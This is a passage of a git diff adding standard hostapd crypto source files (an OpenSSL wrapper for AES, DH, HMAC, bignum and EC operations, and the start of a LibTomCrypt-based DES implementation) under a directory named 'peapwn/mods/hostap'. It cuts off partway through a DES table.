buf, &len) != 1) { + wpa_printf(MSG_ERROR, "OpenSSL: EVP_EncryptFinal_ex failed: " + "%s", ERR_error_string(ERR_get_error(), NULL)); + } + if (len != 0) { + wpa_printf(MSG_ERROR, "OpenSSL: Unexpected padding length %d " + "in AES encrypt", len); + } + EVP_CIPHER_CTX_cleanup(c); + os_free(c); +} + + +void * aes_decrypt_init(const u8 *key, size_t len) +{ + EVP_CIPHER_CTX *ctx; + const EVP_CIPHER *type; + + type = aes_get_evp_cipher(len); + if (type == NULL) + return NULL; + + ctx = os_malloc(sizeof(*ctx)); + if (ctx == NULL) + return NULL; + EVP_CIPHER_CTX_init(ctx); + if (EVP_DecryptInit_ex(ctx, type, NULL, key, NULL) != 1) { + os_free(ctx); + return NULL; + } + EVP_CIPHER_CTX_set_padding(ctx, 0); + return ctx; +} + + +void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain) +{ + EVP_CIPHER_CTX *c = ctx; + int plen = 16; + if (EVP_DecryptUpdate(c, plain, &plen, crypt, 16) != 1) { + wpa_printf(MSG_ERROR, "OpenSSL: EVP_DecryptUpdate failed: %s", + ERR_error_string(ERR_get_error(), NULL)); + } +} + + +void aes_decrypt_deinit(void *ctx) +{ + EVP_CIPHER_CTX *c = ctx; + u8 buf[16]; + int len = sizeof(buf); + if (EVP_DecryptFinal_ex(c, buf, &len) != 1) { + wpa_printf(MSG_ERROR, "OpenSSL: EVP_DecryptFinal_ex failed: " + "%s", ERR_error_string(ERR_get_error(), NULL)); + } + if (len != 0) { + wpa_printf(MSG_ERROR, "OpenSSL: Unexpected padding length %d " + "in AES decrypt", len); + } + EVP_CIPHER_CTX_cleanup(c); + os_free(ctx); +} + + +int crypto_mod_exp(const u8 *base, size_t base_len, + const u8 *power, size_t power_len, + const u8 *modulus, size_t modulus_len, + u8 *result, size_t *result_len) +{ + BIGNUM *bn_base, *bn_exp, *bn_modulus, *bn_result; + int ret = -1; + BN_CTX *ctx; + + ctx = BN_CTX_new(); + if (ctx == NULL) + return -1; + + bn_base = BN_bin2bn(base, base_len, NULL); + bn_exp = BN_bin2bn(power, power_len, NULL); + bn_modulus = BN_bin2bn(modulus, modulus_len, NULL); + bn_result = BN_new(); + + if (bn_base == NULL || bn_exp == NULL || bn_modulus == NULL || + bn_result == NULL) + goto error; + + if (BN_mod_exp(bn_result, bn_base, bn_exp, bn_modulus, ctx) != 1) + goto error; + + *result_len = BN_bn2bin(bn_result, result); + ret = 0; + +error: + BN_free(bn_base); + BN_free(bn_exp); + BN_free(bn_modulus); + BN_free(bn_result); + BN_CTX_free(ctx); + return ret; +} + + +struct crypto_cipher { + EVP_CIPHER_CTX enc; + EVP_CIPHER_CTX dec; +}; + + +struct crypto_cipher * crypto_cipher_init(enum crypto_cipher_alg alg, + const u8 *iv, const u8 *key, + size_t key_len) +{ + struct crypto_cipher *ctx; + const EVP_CIPHER *cipher; + + ctx = os_zalloc(sizeof(*ctx)); + if (ctx == NULL) + return NULL; + + switch (alg) { +#ifndef OPENSSL_NO_RC4 + case CRYPTO_CIPHER_ALG_RC4: + cipher = EVP_rc4(); + break; +#endif /* OPENSSL_NO_RC4 */ +#ifndef OPENSSL_NO_AES + case CRYPTO_CIPHER_ALG_AES: + switch (key_len) { + case 16: + cipher = EVP_aes_128_cbc(); + break; + case 24: + cipher = EVP_aes_192_cbc(); + break; + case 32: + cipher = EVP_aes_256_cbc(); + break; + default: + os_free(ctx); + return NULL; + } + break; +#endif /* OPENSSL_NO_AES */ +#ifndef OPENSSL_NO_DES + case CRYPTO_CIPHER_ALG_3DES: + cipher = EVP_des_ede3_cbc(); + break; + case CRYPTO_CIPHER_ALG_DES: + cipher = EVP_des_cbc(); + break; +#endif /* OPENSSL_NO_DES */ +#ifndef OPENSSL_NO_RC2 + case CRYPTO_CIPHER_ALG_RC2: + cipher = EVP_rc2_ecb(); + break; +#endif /* OPENSSL_NO_RC2 */ + default: + os_free(ctx); + return NULL; + } + + EVP_CIPHER_CTX_init(&ctx->enc); + EVP_CIPHER_CTX_set_padding(&ctx->enc, 0); + if (!EVP_EncryptInit_ex(&ctx->enc, cipher, NULL, NULL, NULL) || + !EVP_CIPHER_CTX_set_key_length(&ctx->enc, key_len) || + !EVP_EncryptInit_ex(&ctx->enc, NULL, NULL, key, iv)) { + EVP_CIPHER_CTX_cleanup(&ctx->enc); + os_free(ctx); + return NULL; + } + + EVP_CIPHER_CTX_init(&ctx->dec); + EVP_CIPHER_CTX_set_padding(&ctx->dec, 0); + if (!EVP_DecryptInit_ex(&ctx->dec, cipher, NULL, NULL, NULL) || + !EVP_CIPHER_CTX_set_key_length(&ctx->dec, key_len) || + !EVP_DecryptInit_ex(&ctx->dec, NULL, NULL, key, iv)) { + EVP_CIPHER_CTX_cleanup(&ctx->enc); + EVP_CIPHER_CTX_cleanup(&ctx->dec); + os_free(ctx); + return NULL; + } + + return ctx; +} + + +int crypto_cipher_encrypt(struct crypto_cipher *ctx, const u8 *plain, + u8 *crypt, size_t len) +{ + int outl; + if (!EVP_EncryptUpdate(&ctx->enc, crypt, &outl, plain, len)) + return -1; + return 0; +} + + +int crypto_cipher_decrypt(struct crypto_cipher *ctx, const u8 *crypt, + u8 *plain, size_t len) +{ + int outl; + outl = len; + if (!EVP_DecryptUpdate(&ctx->dec, plain, &outl, crypt, len)) + return -1; + return 0; +} + + +void crypto_cipher_deinit(struct crypto_cipher *ctx) +{ + EVP_CIPHER_CTX_cleanup(&ctx->enc); + EVP_CIPHER_CTX_cleanup(&ctx->dec); + os_free(ctx); +} + + +void * dh5_init(struct wpabuf **priv, struct wpabuf **publ) +{ + DH *dh; + struct wpabuf *pubkey = NULL, *privkey = NULL; + size_t publen, privlen; + + *priv = NULL; + *publ = NULL; + + dh = DH_new(); + if (dh == NULL) + return NULL; + + dh->g = BN_new(); + if (dh->g == NULL || BN_set_word(dh->g, 2) != 1) + goto err; + + dh->p = get_group5_prime(); + if (dh->p == NULL) + goto err; + + if (DH_generate_key(dh) != 1) + goto err; + + publen = BN_num_bytes(dh->pub_key); + pubkey = wpabuf_alloc(publen); + if (pubkey == NULL) + goto err; + privlen = BN_num_bytes(dh->priv_key); + privkey = wpabuf_alloc(privlen); + if (privkey == NULL) + goto err; + + BN_bn2bin(dh->pub_key, wpabuf_put(pubkey, publen)); + BN_bn2bin(dh->priv_key, wpabuf_put(privkey, privlen)); + + *priv = privkey; + *publ = pubkey; + return dh; + +err: + wpabuf_free(pubkey); + wpabuf_free(privkey); + DH_free(dh); + return NULL; +} + + +void * dh5_init_fixed(const struct wpabuf *priv, const struct wpabuf *publ) +{ + DH *dh; + + dh = DH_new(); + if (dh == NULL) + return NULL; + + dh->g = BN_new(); + if (dh->g == NULL || BN_set_word(dh->g, 2) != 1) + goto err; + + dh->p = get_group5_prime(); + if (dh->p == NULL) + goto err; + + dh->priv_key = BN_bin2bn(wpabuf_head(priv), wpabuf_len(priv), NULL); + if (dh->priv_key == NULL) + goto err; + + dh->pub_key = BN_bin2bn(wpabuf_head(publ), wpabuf_len(publ), NULL); + if (dh->pub_key == NULL) + goto err; + + if (DH_generate_key(dh) != 1) + goto err; + + return dh; + +err: + DH_free(dh); + return NULL; +} + + +struct wpabuf * dh5_derive_shared(void *ctx, const struct wpabuf *peer_public, + const struct wpabuf *own_private) +{ + BIGNUM *pub_key; + struct wpabuf *res = NULL; + size_t rlen; + DH *dh = ctx; + int keylen; + + if (ctx == NULL) + return NULL; + + pub_key = BN_bin2bn(wpabuf_head(peer_public), wpabuf_len(peer_public), + NULL); + if (pub_key == NULL) + return NULL; + + rlen = DH_size(dh); + res = wpabuf_alloc(rlen); + if (res == NULL) + goto err; + + keylen = DH_compute_key(wpabuf_mhead(res), pub_key, dh); + if (keylen < 0) + goto err; + wpabuf_put(res, keylen); + BN_free(pub_key); + + return res; + +err: + BN_free(pub_key); + wpabuf_free(res); + return NULL; +} + + +void dh5_free(void *ctx) +{ + DH *dh; + if (ctx == NULL) + return; + dh = ctx; + DH_free(dh); +} + + +struct crypto_hash { + HMAC_CTX ctx; +}; + + +struct crypto_hash * crypto_hash_init(enum crypto_hash_alg alg, const u8 *key, + size_t key_len) +{ + struct crypto_hash *ctx; + const EVP_MD *md; + + switch (alg) { +#ifndef OPENSSL_NO_MD5 + case CRYPTO_HASH_ALG_HMAC_MD5: + md = EVP_md5(); + break; +#endif /* OPENSSL_NO_MD5 */ +#ifndef OPENSSL_NO_SHA + case CRYPTO_HASH_ALG_HMAC_SHA1: + md = EVP_sha1(); + break; +#endif /* OPENSSL_NO_SHA */ +#ifndef OPENSSL_NO_SHA256 +#ifdef CONFIG_SHA256 + case CRYPTO_HASH_ALG_HMAC_SHA256: + md = EVP_sha256(); + break; +#endif /* CONFIG_SHA256 */ +#endif /* OPENSSL_NO_SHA256 */ + default: + return NULL; + } + + ctx = os_zalloc(sizeof(*ctx)); + if (ctx == NULL) + return NULL; + HMAC_CTX_init(&ctx->ctx); + +#if OPENSSL_VERSION_NUMBER < 0x00909000 + HMAC_Init_ex(&ctx->ctx, key, key_len, md, NULL); +#else /* openssl < 0.9.9 */ + if (HMAC_Init_ex(&ctx->ctx, key, key_len, md, NULL) != 1) { + os_free(ctx); + return NULL; + } +#endif /* openssl < 0.9.9 */ + + return ctx; +} + + +void crypto_hash_update(struct crypto_hash *ctx, const u8 *data, size_t len) +{ + if (ctx == NULL) + return; + HMAC_Update(&ctx->ctx, data, len); +} + + +int crypto_hash_finish(struct crypto_hash *ctx, u8 *mac, size_t *len) +{ + unsigned int mdlen; + int res; + + if (ctx == NULL) + return -2; + + if (mac == NULL || len == NULL) { + os_free(ctx); + return 0; + } + + mdlen = *len; +#if OPENSSL_VERSION_NUMBER < 0x00909000 + HMAC_Final(&ctx->ctx, mac, &mdlen); + res = 1; +#else /* openssl < 0.9.9 */ + res = HMAC_Final(&ctx->ctx, mac, &mdlen); +#endif /* openssl < 0.9.9 */ + HMAC_CTX_cleanup(&ctx->ctx); + os_free(ctx); + + if (res == 1) { + *len = mdlen; + return 0; + } + + return -1; +} + + +int pbkdf2_sha1(const char *passphrase, const u8 *ssid, size_t ssid_len, + int iterations, u8 *buf, size_t buflen) +{ +#if OPENSSL_VERSION_NUMBER < 0x00908000 + if (PKCS5_PBKDF2_HMAC_SHA1(passphrase, os_strlen(passphrase), + (unsigned char *) ssid, + ssid_len, 4096, buflen, buf) != 1) + return -1; +#else /* openssl < 0.9.8 */ + if (PKCS5_PBKDF2_HMAC_SHA1(passphrase, os_strlen(passphrase), ssid, + ssid_len, 4096, buflen, buf) != 1) + return -1; +#endif /* openssl < 0.9.8 */ + return 0; +} + + +int hmac_sha1_vector(const u8 *key, size_t key_len, size_t num_elem, + const u8 *addr[], const size_t *len, u8 *mac) +{ + HMAC_CTX ctx; + size_t i; + unsigned int mdlen; + int res; + + HMAC_CTX_init(&ctx); +#if OPENSSL_VERSION_NUMBER < 0x00909000 + HMAC_Init_ex(&ctx, key, key_len, EVP_sha1(), NULL); +#else /* openssl < 0.9.9 */ + if (HMAC_Init_ex(&ctx, key, key_len, EVP_sha1(), NULL) != 1) + return -1; +#endif /* openssl < 0.9.9 */ + + for (i = 0; i < num_elem; i++) + HMAC_Update(&ctx, addr[i], len[i]); + + mdlen = 20; +#if OPENSSL_VERSION_NUMBER < 0x00909000 + HMAC_Final(&ctx, mac, &mdlen); + res = 1; +#else /* openssl < 0.9.9 */ + res = HMAC_Final(&ctx, mac, &mdlen); +#endif /* openssl < 0.9.9 */ + HMAC_CTX_cleanup(&ctx); + + return res == 1 ? 0 : -1; +} + + +int hmac_sha1(const u8 *key, size_t key_len, const u8 *data, size_t data_len, + u8 *mac) +{ + return hmac_sha1_vector(key, key_len, 1, &data, &data_len, mac); +} + + +#ifdef CONFIG_SHA256 + +int hmac_sha256_vector(const u8 *key, size_t key_len, size_t num_elem, + const u8 *addr[], const size_t *len, u8 *mac) +{ + HMAC_CTX ctx; + size_t i; + unsigned int mdlen; + int res; + + HMAC_CTX_init(&ctx); +#if OPENSSL_VERSION_NUMBER < 0x00909000 + HMAC_Init_ex(&ctx, key, key_len, EVP_sha256(), NULL); +#else /* openssl < 0.9.9 */ + if (HMAC_Init_ex(&ctx, key, key_len, EVP_sha256(), NULL) != 1) + return -1; +#endif /* openssl < 0.9.9 */ + + for (i = 0; i < num_elem; i++) + HMAC_Update(&ctx, addr[i], len[i]); + + mdlen = 32; +#if OPENSSL_VERSION_NUMBER < 0x00909000 + HMAC_Final(&ctx, mac, &mdlen); + res = 1; +#else /* openssl < 0.9.9 */ + res = HMAC_Final(&ctx, mac, &mdlen); +#endif /* openssl < 0.9.9 */ + HMAC_CTX_cleanup(&ctx); + + return res == 1 ? 0 : -1; +} + + +int hmac_sha256(const u8 *key, size_t key_len, const u8 *data, + size_t data_len, u8 *mac) +{ + return hmac_sha256_vector(key, key_len, 1, &data, &data_len, mac); +} + +#endif /* CONFIG_SHA256 */ + + +int crypto_get_random(void *buf, size_t len) +{ + if (RAND_bytes(buf, len) != 1) + return -1; + return 0; +} + + +#ifdef CONFIG_OPENSSL_CMAC +int omac1_aes_128_vector(const u8 *key, size_t num_elem, + const u8 *addr[], const size_t *len, u8 *mac) +{ + CMAC_CTX *ctx; + int ret = -1; + size_t outlen, i; + + ctx = CMAC_CTX_new(); + if (ctx == NULL) + return -1; + + if (!CMAC_Init(ctx, key, 16, EVP_aes_128_cbc(), NULL)) + goto fail; + for (i = 0; i < num_elem; i++) { + if (!CMAC_Update(ctx, addr[i], len[i])) + goto fail; + } + if (!CMAC_Final(ctx, mac, &outlen) || outlen != 16) + goto fail; + + ret = 0; +fail: + CMAC_CTX_free(ctx); + return ret; +} + + +int omac1_aes_128(const u8 *key, const u8 *data, size_t data_len, u8 *mac) +{ + return omac1_aes_128_vector(key, 1, &data, &data_len, mac); +} +#endif /* CONFIG_OPENSSL_CMAC */ + + +struct crypto_bignum * crypto_bignum_init(void) +{ + return (struct crypto_bignum *) BN_new(); +} + + +struct crypto_bignum * crypto_bignum_init_set(const u8 *buf, size_t len) +{ + BIGNUM *bn = BN_bin2bn(buf, len, NULL); + return (struct crypto_bignum *) bn; +} + + +void crypto_bignum_deinit(struct crypto_bignum *n, int clear) +{ + if (clear) + BN_clear_free((BIGNUM *) n); + else + BN_free((BIGNUM *) n); +} + + +int crypto_bignum_to_bin(const struct crypto_bignum *a, + u8 *buf, size_t buflen, size_t padlen) +{ + int num_bytes, offset; + + if (padlen > buflen) + return -1; + + num_bytes = BN_num_bytes((const BIGNUM *) a); + if ((size_t) num_bytes > buflen) + return -1; + if (padlen > (size_t) num_bytes) + offset = padlen - num_bytes; + else + offset = 0; + + os_memset(buf, 0, offset); + BN_bn2bin((const BIGNUM *) a, buf + offset); + + return num_bytes + offset; +} + + +int crypto_bignum_add(const struct crypto_bignum *a, + const struct crypto_bignum *b, + struct crypto_bignum *c) +{ + return BN_add((BIGNUM *) c, (const BIGNUM *) a, (const BIGNUM *) b) ? + 0 : -1; +} + + +int crypto_bignum_mod(const struct crypto_bignum *a, + const struct crypto_bignum *b, + struct crypto_bignum *c) +{ + int res; + BN_CTX *bnctx; + + bnctx = BN_CTX_new(); + if (bnctx == NULL) + return -1; + res = BN_mod((BIGNUM *) c, (const BIGNUM *) a, (const BIGNUM *) b, + bnctx); + BN_CTX_free(bnctx); + + return res ? 0 : -1; +} + + +int crypto_bignum_exptmod(const struct crypto_bignum *a, + const struct crypto_bignum *b, + const struct crypto_bignum *c, + struct crypto_bignum *d) +{ + int res; + BN_CTX *bnctx; + + bnctx = BN_CTX_new(); + if (bnctx == NULL) + return -1; + res = BN_mod_exp((BIGNUM *) d, (const BIGNUM *) a, (const BIGNUM *) b, + (const BIGNUM *) c, bnctx); + BN_CTX_free(bnctx); + + return res ? 0 : -1; +} + + +int crypto_bignum_rshift(const struct crypto_bignum *a, int n, + struct crypto_bignum *b) +{ + return BN_rshift((BIGNUM *) b, (const BIGNUM *) a, n) ? 0 : -1; +} + + +int crypto_bignum_inverse(const struct crypto_bignum *a, + const struct crypto_bignum *b, + struct crypto_bignum *c) +{ + BIGNUM *res; + BN_CTX *bnctx; + + bnctx = BN_CTX_new(); + if (bnctx == NULL) + return -1; + res = BN_mod_inverse((BIGNUM *) c, (const BIGNUM *) a, + (const BIGNUM *) b, bnctx); + BN_CTX_free(bnctx); + + return res ? 0 : -1; +} + + +int crypto_bignum_sub(const struct crypto_bignum *a, + const struct crypto_bignum *b, + struct crypto_bignum *c) +{ + return BN_sub((BIGNUM *) c, (const BIGNUM *) a, (const BIGNUM *) b) ? + 0 : -1; +} + + +int crypto_bignum_div(const struct crypto_bignum *a, + const struct crypto_bignum *b, + struct crypto_bignum *c) +{ + int res; + + BN_CTX *bnctx; + + bnctx = BN_CTX_new(); + if (bnctx == NULL) + return -1; + res = BN_div((BIGNUM *) c, NULL, (const BIGNUM *) a, + (const BIGNUM *) b, bnctx); + BN_CTX_free(bnctx); + + return res ? 0 : -1; +} + + +int crypto_bignum_mulmod(const struct crypto_bignum *a, + const struct crypto_bignum *b, + const struct crypto_bignum *c, + struct crypto_bignum *d) +{ + int res; + + BN_CTX *bnctx; + + bnctx = BN_CTX_new(); + if (bnctx == NULL) + return -1; + res = BN_mod_mul((BIGNUM *) d, (const BIGNUM *) a, (const BIGNUM *) b, + (const BIGNUM *) c, bnctx); + BN_CTX_free(bnctx); + + return res ? 0 : -1; +} + + +int crypto_bignum_cmp(const struct crypto_bignum *a, + const struct crypto_bignum *b) +{ + return BN_cmp((const BIGNUM *) a, (const BIGNUM *) b); +} + + +int crypto_bignum_bits(const struct crypto_bignum *a) +{ + return BN_num_bits((const BIGNUM *) a); +} + + +int crypto_bignum_is_zero(const struct crypto_bignum *a) +{ + return BN_is_zero((const BIGNUM *) a); +} + + +int crypto_bignum_is_one(const struct crypto_bignum *a) +{ + return BN_is_one((const BIGNUM *) a); +} + + +#ifdef CONFIG_ECC + +struct crypto_ec { + EC_GROUP *group; + BN_CTX *bnctx; + BIGNUM *prime; + BIGNUM *order; +}; + +struct crypto_ec * crypto_ec_init(int group) +{ + struct crypto_ec *e; + int nid; + + /* Map from IANA registry for IKE D-H groups to OpenSSL NID */ + switch (group) { + case 19: + nid = NID_X9_62_prime256v1; + break; + case 20: + nid = NID_secp384r1; + break; + case 21: + nid = NID_secp521r1; + break; + case 25: + nid = NID_X9_62_prime192v1; + break; + case 26: + nid = NID_secp224r1; + break; + default: + return NULL; + } + + e = os_zalloc(sizeof(*e)); + if (e == NULL) + return NULL; + + e->bnctx = BN_CTX_new(); + e->group = EC_GROUP_new_by_curve_name(nid); + e->prime = BN_new(); + e->order = BN_new(); + if (e->group == NULL || e->bnctx == NULL || e->prime == NULL || + e->order == NULL || + !EC_GROUP_get_curve_GFp(e->group, e->prime, NULL, NULL, e->bnctx) || + !EC_GROUP_get_order(e->group, e->order, e->bnctx)) { + crypto_ec_deinit(e); + e = NULL; + } + + return e; +} + + +void crypto_ec_deinit(struct crypto_ec *e) +{ + if (e == NULL) + return; + BN_free(e->order); + EC_GROUP_free(e->group); + BN_CTX_free(e->bnctx); + os_free(e); +} + + +struct crypto_ec_point * crypto_ec_point_init(struct crypto_ec *e) +{ + if (e == NULL) + return NULL; + return (struct crypto_ec_point *) EC_POINT_new(e->group); +} + + +size_t crypto_ec_prime_len(struct crypto_ec *e) +{ + return BN_num_bytes(e->prime); +} + + +size_t crypto_ec_prime_len_bits(struct crypto_ec *e) +{ + return BN_num_bits(e->prime); +} + + +const struct crypto_bignum * crypto_ec_get_prime(struct crypto_ec *e) +{ + return (const struct crypto_bignum *) e->prime; +} + + +const struct crypto_bignum * crypto_ec_get_order(struct crypto_ec *e) +{ + return (const struct crypto_bignum *) e->order; +} + + +void crypto_ec_point_deinit(struct crypto_ec_point *p, int clear) +{ + if (clear) + EC_POINT_clear_free((EC_POINT *) p); + else + EC_POINT_free((EC_POINT *) p); +} + + +int crypto_ec_point_to_bin(struct crypto_ec *e, + const struct crypto_ec_point *point, u8 *x, u8 *y) +{ + BIGNUM *x_bn, *y_bn; + int ret = -1; + int len = BN_num_bytes(e->prime); + + x_bn = BN_new(); + y_bn = BN_new(); + + if (x_bn && y_bn && + EC_POINT_get_affine_coordinates_GFp(e->group, (EC_POINT *) point, + x_bn, y_bn, e->bnctx)) { + if (x) { + crypto_bignum_to_bin((struct crypto_bignum *) x_bn, + x, len, len); + } + if (y) { + crypto_bignum_to_bin((struct crypto_bignum *) y_bn, + y, len, len); + } + ret = 0; + } + + BN_free(x_bn); + BN_free(y_bn); + return ret; +} + + +struct crypto_ec_point * crypto_ec_point_from_bin(struct crypto_ec *e, + const u8 *val) +{ + BIGNUM *x, *y; + EC_POINT *elem; + int len = BN_num_bytes(e->prime); + + x = BN_bin2bn(val, len, NULL); + y = BN_bin2bn(val + len, len, NULL); + elem = EC_POINT_new(e->group); + if (x == NULL || y == NULL || elem == NULL) { + BN_free(x); + BN_free(y); + EC_POINT_free(elem); + return NULL; + } + + if (!EC_POINT_set_affine_coordinates_GFp(e->group, elem, x, y, + e->bnctx)) { + EC_POINT_free(elem); + elem = NULL; + } + + BN_free(x); + BN_free(y); + + return (struct crypto_ec_point *) elem; +} + + +int crypto_ec_point_add(struct crypto_ec *e, const struct crypto_ec_point *a, + const struct crypto_ec_point *b, + struct crypto_ec_point *c) +{ + return EC_POINT_add(e->group, (EC_POINT *) c, (const EC_POINT *) a, + (const EC_POINT *) b, e->bnctx) ? 0 : -1; +} + + +int crypto_ec_point_mul(struct crypto_ec *e, const struct crypto_ec_point *p, + const struct crypto_bignum *b, + struct crypto_ec_point *res) +{ + return EC_POINT_mul(e->group, (EC_POINT *) res, NULL, + (const EC_POINT *) p, (const BIGNUM *) b, e->bnctx) + ? 0 : -1; +} + + +int crypto_ec_point_invert(struct crypto_ec *e, struct crypto_ec_point *p) +{ + return EC_POINT_invert(e->group, (EC_POINT *) p, e->bnctx) ? 0 : -1; +} + + +int crypto_ec_point_solve_y_coord(struct crypto_ec *e, + struct crypto_ec_point *p, + const struct crypto_bignum *x, int y_bit) +{ + if (!EC_POINT_set_compressed_coordinates_GFp(e->group, (EC_POINT *) p, + (const BIGNUM *) x, y_bit, + e->bnctx) || + !EC_POINT_is_on_curve(e->group, (EC_POINT *) p, e->bnctx)) + return -1; + return 0; +} + + +int crypto_ec_point_is_at_infinity(struct crypto_ec *e, + const struct crypto_ec_point *p) +{ + return EC_POINT_is_at_infinity(e->group, (const EC_POINT *) p); +} + + +int crypto_ec_point_is_on_curve(struct crypto_ec *e, + const struct crypto_ec_point *p) +{ + return EC_POINT_is_on_curve(e->group, (const EC_POINT *) p, e->bnctx); +} + +#endif /* CONFIG_ECC */ diff --git a/peapwn/mods/hostap/src/crypto/des-internal.c b/peapwn/mods/hostap/src/crypto/des-internal.c new file mode 100644 index 000000000..dec39ef8c --- /dev/null +++ b/peapwn/mods/hostap/src/crypto/des-internal.c @@ -0,0 +1,493 @@ +/* + * DES and 3DES-EDE ciphers + * + * Modifications to LibTomCrypt implementation: + * Copyright (c) 2006-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto.h" +#include "des_i.h" + +/* + * This implementation is based on a DES implementation included in + * LibTomCrypt. The version here is modified to fit in wpa_supplicant/hostapd + * coding style. + */ + +/* LibTomCrypt, modular cryptographic library -- Tom St Denis + * + * LibTomCrypt is a library that provides various cryptographic + * algorithms in a highly modular and flexible manner. + * + * The library is free for all purposes without any express + * guarantee it works. + * + * Tom St Denis, tomstdenis@gmail.com, http://libtomcrypt.com + */ + +/** + DES code submitted by Dobes Vandermeer +*/ + +#define ROLc(x, y) \ + ((((unsigned long) (x) << (unsigned long) ((y) & 31)) | \ + (((unsigned long) (x) & 0xFFFFFFFFUL) >> \ + (unsigned long) (32 - ((y) & 31)))) & 0xFFFFFFFFUL) +#define RORc(x, y) \ + (((((unsigned long) (x) & 0xFFFFFFFFUL) >> \ + (unsigned long) ((y) & 31)) | \ + ((unsigned long) (x) << (unsigned long) (32 - ((y) & 31)))) & \ + 0xFFFFFFFFUL) + + +static const u32 bytebit[8] = +{ + 0200, 0100, 040, 020, 010, 04, 02, 01 +}; + +static const u32 bigbyte[24] = +{ + 0x800000UL, 0x400000UL, 0x200000UL, 0x100000UL, + 0x80000UL, 0x40000UL, 0x20000UL, 0x10000UL, + 0x8000UL, 0x4000UL, 0x2000UL, 0x1000UL, + 0x800UL, 0x400UL, 0x200UL, 0x100UL, + 0x80UL, 0x40UL, 0x20UL, 0x10UL, + 0x8UL, 0x4UL, 0x2UL, 0x1L +}; + +/* Use the key schedule specific in the standard (ANSI X3.92-1981) */ + +static const u8 pc1[56] = { + 56, 48, 40, 32, 24, 16, 8, 0, 57, 49, 41, 33, 25, 17, + 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, + 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, + 13, 5, 60, 52, 44, 36, 28, 20, 12, 4, 27, 19, 11, 3 +}; + +static const u8 totrot[16] = { + 1, 2, 4, 6, + 8, 10, 12, 14, + 15, 17, 19, 21, + 23, 25, 27, 28 +}; + +static const u8 pc2[48] = { + 13, 16, 10, 23, 0, 4, 2, 27, 14, 5, 20, 9, + 22, 18, 11, 3, 25, 7, 15, 6, 26, 19, 12, 1, + 40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47, + 43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31 +}; + + +static const u32 SP1[64] = +{ + 0x01010400UL, 0x00000000UL, 0x00010000UL, 0x01010404UL, + 0x01010004UL, 0x00010404UL, 0x00000004UL, 0x00010000UL, + 0x00000400UL, 0x01010400UL, 0x01010404UL, 0x00000400UL, + 0x01000404UL, 0x01010004UL, 0x01000000UL, 0x00000004UL, + 0x00000404UL, 0x01000400UL, 0x01000400UL, 0x00010400UL, + 0x00010400UL, 0x01010000UL, 0x01010000UL, 0x01000404UL, + 0x00010004UL, 0x01000004UL, 0x01000004UL, 0x00010004UL, + 0x00000000UL, 0x00000404UL, 0x00010404UL, 0x01000000UL, + 0x00010000UL, 0x01010404UL, 0x00000004UL, 0x01010000UL, + 0x01010400UL, 0x01000000UL, 0x01000000UL, 0x00000400UL, + 0x01010004UL, 0x00010000UL, 0x00010400UL, 0x01000004UL, + 0x00000400UL, 0x00000004UL, 0x01000404UL, 0x00010404UL, + 0x01010404UL, 0x00010004UL, 0x01010000UL, 0x01000404UL, + 0x01000004UL, 0x00000404UL, 0x00010404UL, 0x01010400UL, + 0x00000404UL, 0x01000400UL, 0x01000400UL, 0x00000000UL, + 0x00010004UL, 0x00010400UL, 0x00000000UL, 0x01010004UL +}; + +static const u32 SP2[64] = +{ + 0x80108020UL, 0x80008000UL, 0x00008000UL, 0x00108020UL, + 0x00100000UL, 0x00000020UL, 0x80100020UL, 0x80008020UL, + 0x80000020UL, 0x80108020UL, 0x80108000UL, 0x80000000UL, + 0x80008000UL, 0x00100000UL, 0x00000020UL, 0x80100020UL, + 0x00108000UL, 0x00100020UL, 0x80008020UL, 0x00000000UL, + 0x80000000UL, 0x00008000UL, 0x00108020UL, 0x80100000UL, + 0x00100020UL, 0x80000020UL, 0x00000000UL, 0x00108000UL, + 0x00008020UL, 0x80108000UL, 0x80100000UL, 0x00008020UL, + 0x00000000UL, 0x00108020UL, 0x80100020UL, 0x00100000UL, + 0x80008020UL, 0x80100000UL, 0x80108000UL, 0x00008000UL, + 0x80100000UL, 0x80008000UL, 0x00000020UL, 0x80108020UL, + 0x00108020UL, 0x00000020UL, 0x00008000UL, 0x80000000UL, + 0x00008020UL, 0x80108000UL, 0x00100000UL, 0x80000020UL, + 0x00100020UL, 0x80008020UL, 0x80000020UL, 0x00100020UL, + 0x00108000UL, 0x00000000UL, 0x80008000UL, 0x00008020UL, + 0x80000000UL, 0x80100020UL, 0x80108020UL, 0x00108000UL +}; + +static const u32 SP3[64] = +{ + 0x00000208UL, 0x08020200UL, 0x00000000UL, 0x08020008UL, + 0x08000200UL, 0x00000000UL, 0x00020208UL, 0x08000200UL, + 0x00020008UL, 0x08000008UL, 0x08000008UL, 0x00020000UL, + 0x08020208UL, 0x00020008UL, 0x08020000UL, 0x00000208UL, + 0x08000000UL, 0x00000008UL, 0x08020200UL, 0x00000200UL, + 0x00020200UL, 0x08020000UL, 0x08020008UL, 0x00020208UL, + 0x08000208UL, 0x00020200UL, 0x00020000UL, 0x08000208UL, + 0x00000008UL, 0x08020208UL, 0x00000200UL, 0x08000000UL, + 0x08020200UL, 0x08000000UL, 0x00020008UL, 0x00000208UL, + 0x00020000UL, 0x08020200UL, 0x08000200UL, 0x00000000UL, + 0x00000200UL, 0x00020008UL, 0x08020208UL, 0x08000200UL, + 0x08000008UL, 0x00000200UL, 0x00000000UL, 0x08020008UL, + 0x08000208UL, 0x00020000UL, 0x08000000UL, 0x08020208UL, + 0x00000008UL, 0x00020208UL, 0x00020200UL, 0x08000008UL, + 0x08020000UL, 0x08000208UL, 0x00000208UL, 0x08020000UL, + 0x00020208UL, 0x00000008UL, 0x08020008UL, 0x00020200UL +}; + +static const u32 SP4[64] = +{ + 0x00802001UL, 0x00002081UL, 0x00002081UL, 0x00000080UL, + 0x00802080UL, 0x00800081UL, 0x00800001UL, 0x00002001UL, + 0x00000000UL, 0x00802000UL, 0x00802000UL, 0x00802081UL, + 0x00000081UL, 0x00000000UL, 0x00800080UL, 0x00800001UL, + 0x00000001UL, 0x00002000UL, 0x00800000UL, 0x00802001UL, + 0x00000080UL, 0x00800000UL, 0x00002001UL, 0x00002080UL, + 0x00800081UL, 0x00000001UL, 